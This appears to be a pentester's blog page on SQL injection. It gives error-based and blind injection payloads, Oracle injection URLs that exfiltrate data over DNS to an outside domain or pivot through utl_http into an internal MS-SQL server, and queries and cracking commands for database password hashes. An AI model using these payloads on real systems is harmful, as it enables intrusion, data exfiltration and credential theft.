www.notsosecure.com

From Pentesters To Pentesters

Occasionally when exploiting SQL injections there are conditions when application does not show different pages for true and false result of sql query. If the database server does not resolve host names(thus prohibiting out of band attacks), the attack vector that is used to exploit such conditions is to use functions such as 'waitfor delay' which makes database sleep for specified seconds. Thus a true condition will return the output with a time delay whereas a false condition will result in prompt response.

In some cases application returns different output(or error) if the syntax of the SQL query is wrong. In these conditions instead of carrying out time based attacks one could use the if statements to manipulate the sql query.

The following query will return a divide by zero error when the condition is true:-

Oracle:-

select case when user='SYS' then 1/0 else (select 1 from dual) end from dual 

MS-SQL :-

if ((select user) = 'sa' OR (select user) = 'dbo') select 1/0 else select 1 

update:- select case when( 1=1) then 1 else 1/0 end  

POSTGRES :-

SELECT CASE WHEN (1=2) THEN 1 ELSE 1/0 END;

update:-case when (1=1) then 1 else (1 * (select 1 from information_schema.tables)) end)=1 

MY-SQL:- 

Doesn't work. Careful, there is a IF query handling Denial OF service which kills the database in old versions. 

update:- select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)=1 

returns error 'multiple rows returned by subquery'  when the condition is false 

— 

Thanks pentestmonkey for providing some useful queries 

– 

Recently i came across a SQL Injection against oracle database, where the vulnerable parameter was taking comma separated input.

Thus Valid input will look like:- index.do?id=1,200

And it was easier to confirm that its vulnerable to sql injection by making true and false responses:-

True response:- index.do?id=1,200 and 1=1

False Response:- index.do?id=1,200 and 1=2

This way i could carry out the bind sql injection, but then i tried to get data through out of band channeling  and that worked too:-

example:-index.php?id=1,200+and(SELECT+UTL_INADDR.get_host_address(

(SELECT+user+from+dual)||'.a.notsosecure.com')+FROM+dual)+is+not+null

However, the problem arrived when i had to get data by iterating through rows. In order, to iterate through rows i use the following syntax:-

SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9;

But As this application was taking comma separated values, this comma resulted in my query being structured in some other way and the application returned error.

A solution to this is to use the query like:-

index.php?id=1,200+and(SELECT+UTL_INADDR.get_host_address(

(SELECT+column_name+from+all_tab_columns+where+rownum<2+and+

column_name+not+in

(select+column_name+from+all_tab_columns where+rownum<4 ))||

'.a.notsosecure.com')+FROM+dual)+is+not+null

By increasing the rownum number (in bold) iteration could be achieved. However, as this number increases the backend queries become more and more cpu intensive. I still could not do union select query as the original query select more than one column and i could not figure out a way to do union select without entering comma.

—-
A good resource for pentesting oracle Application server can be found here:-

Oracle Application Scanner(OAPscan) is also a very handy tool. 

SQL Injection Oracle + MS-SQL

Oracle's utl_http.request() function has been referred a number of times to carry out sql injection. It is generally used for the purpose of resolving names, so that an attacker could receive the output of his SQL query over DNS channel.

However, this function can also be used to make a legitimate http connection to internal network. Thus, if this function is available, a sql injection in oracle could also serve as a http proxy for internal network.

In the screenshot, i have exploited a sql injection in MS-SQL server via a sql injection in Oracle.

e.g http://192.168.1.1/oracle.php?id=1%20union%20all%20

select%20utl_http.request('http://192.168.1.2/MSSQL/?p=1/**/union/**/all/*

*/select/**/null,@@version,null')%20from%20dual 

Oracle 10g Express Edition does not invalidate the cookie www_flow_user2 on server when the user logs off.

Tested in version:- Oracle 10g Express edition 10.2.0.1.0, other versions may also be vulnerable.

Patch:- Oracle CPU April 2008

SQL Server 2000:-

SELECT password from master.dbo.sysxlogins where name='sa' 

0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341

2FD54D6119FFF04129A1D72E7C3194F7284A7F3A

0×0100- constant header

34767D5C- salt

0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash

2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash

crack the upper case hash in 'cain and abel' and then work the case sentive hash

 

SQL server 2005:-

SELECT password_hash FROM sys.sql_logins where name='sa'

0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F

0×0100- constant header

993BF231-salt

5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash

crack case sensitive hash in cain, try brute force and dictionary based attacks.

 

update:- following bernardo's comments:-

use function fn_varbintohexstr() to cast password in a hex string. 

e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins 

 

MYSQL:-

In MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL's own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.

 

*mysql  < 4.1

 

mysql> SELECT PASSWORD('mypass');

+——————–+

| PASSWORD('mypass') |

+——————–+

| 6f8c114b58f2ce9e   |

+——————–+

 

*mysql >=4.1

 

mysql> SELECT PASSWORD('mypass');

+——————————————-+

| PASSWORD('mypass')                        |

+——————————————-+

| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |

+——————————————-+

Select user, password from mysql.user

The hashes can be cracked in 'cain and abel' 

 

Postgres:-

Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table.  You need to be the database superuser to read this table (usually called "postgres" or "pgsql")

select usename, passwd from pg_shadow;

     usename      |  passwd                

——————+————————————- 

testuser            | md5fabb6d7172aadfda4753bf0507ed4396

use mdcrack to crack these hashes:-

$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396

Oracle:-

select name, password, spare4 from sys.user$

hashes could be cracked using 'cain and abel' or thc-orakelcrackert11g

More on Oracle later, i am a bit bored…. 

References/Copied from:-

http://hkashfi.blogspot.com/2007/08/breaking-sql-server-2005-hashes.html

http://dev.mysql.com/doc/refman/5.0/en/password-hashing.html

http://pentestmonkey.net/blog/cracking-postgres-hashes/

http://freeworld.thc.org/thc-orakelcrackert11g/